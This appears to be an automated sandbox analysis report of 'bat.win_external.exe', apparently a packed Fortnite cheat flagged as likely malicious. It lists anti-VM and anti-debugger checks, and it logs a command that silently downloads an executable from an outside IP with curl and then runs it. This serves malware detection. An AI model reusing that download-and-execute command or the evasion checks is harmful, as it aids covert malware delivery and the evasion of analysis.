Analysis Overview
SHA256
4188d2de2935e9adc6b37dcc1619e9392a3b3d44f019af87a1b5ad151f4df87d
Threat Level: Likely malicious
The file bat.win_external.exe was found to be: Likely malicious.
Malicious Activity Summary
Identifies VirtualBox via ACPI registry values (likely anti-VM)
Themida packer
Checks BIOS information in registry
Checks whether UAC is enabled
Suspicious use of NtSetInformationThreadHideFromDebugger
Unsigned PE
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-15 07:11
Signatures
Themida packer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-15 07:11
Reported
2024-06-15 07:14
Platform
win7-20240220-en
Max time kernel
122s
Max time network
123s
Command Line
Signatures
Identifies VirtualBox via ACPI registry values (likely anti-VM)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe | N/A |
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe | N/A |
Themida packer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks whether UAC is enabled
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA | C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe
"C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
C:\Windows\system32\certutil.exe
certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe" MD5
C:\Windows\system32\find.exe
find /i /v "md5"
C:\Windows\system32\find.exe
find /i /v "certutil"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c curl http://104.254.246.35/files/BAT.WIN_New_Fortnite_External.exe -o C:\NewFileVersion.exe --silent
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\NewFileVersion.exe
Network
| Country | Destination | Domain | Proto |
| N/A | 127.0.0.1:49197 | tcp | |
| N/A | 127.0.0.1:49199 | tcp | |
| US | 8.8.8.8:53 | keyauth.win | udp |
| US | 104.26.1.5:443 | keyauth.win | tcp |
| US | 8.8.8.8:53 | apps.identrust.com | udp |
| IE | 2.18.24.9:80 | apps.identrust.com | tcp |
| US | 8.8.8.8:53 | x2.c.lencr.org | udp |
| BE | 23.55.97.11:80 | x2.c.lencr.org | tcp |
Files
memory/2480-0-0x0000000077320000-0x0000000077322000-memory.dmp
memory/2480-1-0x000000013F560000-0x0000000140065000-memory.dmp
memory/2480-6-0x000000013F560000-0x0000000140065000-memory.dmp
memory/2480-4-0x000000013F560000-0x0000000140065000-memory.dmp
memory/2480-5-0x000000013F560000-0x0000000140065000-memory.dmp
memory/2480-3-0x000000013F560000-0x0000000140065000-memory.dmp
memory/2480-2-0x000000013F560000-0x0000000140065000-memory.dmp
memory/2480-7-0x00000000772D0000-0x0000000077479000-memory.dmp
memory/2480-8-0x00000000772D0000-0x0000000077479000-memory.dmp
memory/2480-9-0x00000000772D0000-0x0000000077479000-memory.dmp
memory/2480-10-0x00000000772D0000-0x0000000077479000-memory.dmp
memory/2480-11-0x00000000772D0000-0x0000000077479000-memory.dmp
memory/2480-13-0x00000000772D0000-0x0000000077479000-memory.dmp
memory/2480-12-0x000000013F560000-0x0000000140065000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-15 07:11
Reported
2024-06-15 07:12
Platform
win10v2004-20240508-en
Max time kernel
17s
Max time network
22s
Command Line
Signatures
Identifies VirtualBox via ACPI registry values (likely anti-VM)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe | N/A |
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe | N/A |
Themida packer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks whether UAC is enabled
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA | C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 552 wrote to memory of 5072 | N/A | C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe | C:\Windows\system32\cmd.exe |
| PID 552 wrote to memory of 5072 | N/A | C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe | C:\Windows\system32\cmd.exe |
| PID 5072 wrote to memory of 1140 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\certutil.exe |
| PID 5072 wrote to memory of 1140 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\certutil.exe |
| PID 5072 wrote to memory of 5100 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\find.exe |
| PID 5072 wrote to memory of 5100 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\find.exe |
| PID 5072 wrote to memory of 1692 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\find.exe |
| PID 5072 wrote to memory of 1692 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\find.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe
"C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
C:\Windows\system32\certutil.exe
certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe" MD5
C:\Windows\system32\find.exe
find /i /v "md5"
C:\Windows\system32\find.exe
find /i /v "certutil"
Network
| Country | Destination | Domain | Proto |
| N/A | 127.0.0.1:62485 | tcp | |
| N/A | 127.0.0.1:62487 | tcp | |
| US | 8.8.8.8:53 | keyauth.win | udp |
Files
memory/552-0-0x00007FF867C90000-0x00007FF867C92000-memory.dmp
memory/552-4-0x00007FF695E90000-0x00007FF696995000-memory.dmp
memory/552-3-0x00007FF695E90000-0x00007FF696995000-memory.dmp
memory/552-2-0x00007FF695E90000-0x00007FF696995000-memory.dmp
memory/552-1-0x00007FF695E90000-0x00007FF696995000-memory.dmp
memory/552-6-0x00007FF695E90000-0x00007FF696995000-memory.dmp
memory/552-5-0x00007FF695E90000-0x00007FF696995000-memory.dmp
memory/552-7-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-8-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-9-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-10-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-11-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-12-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-13-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-14-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-15-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-16-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-17-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-18-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-19-0x00007FF695E90000-0x00007FF696995000-memory.dmp
memory/552-20-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-21-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-22-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-23-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-24-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-25-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-26-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-27-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-28-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-29-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-30-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-31-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-32-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-33-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp
memory/552-34-0x00007FF695E90000-0x00007FF696995000-memory.dmp
memory/552-35-0x00007FF867BF0000-0x00007FF867DE5000-memory.dmp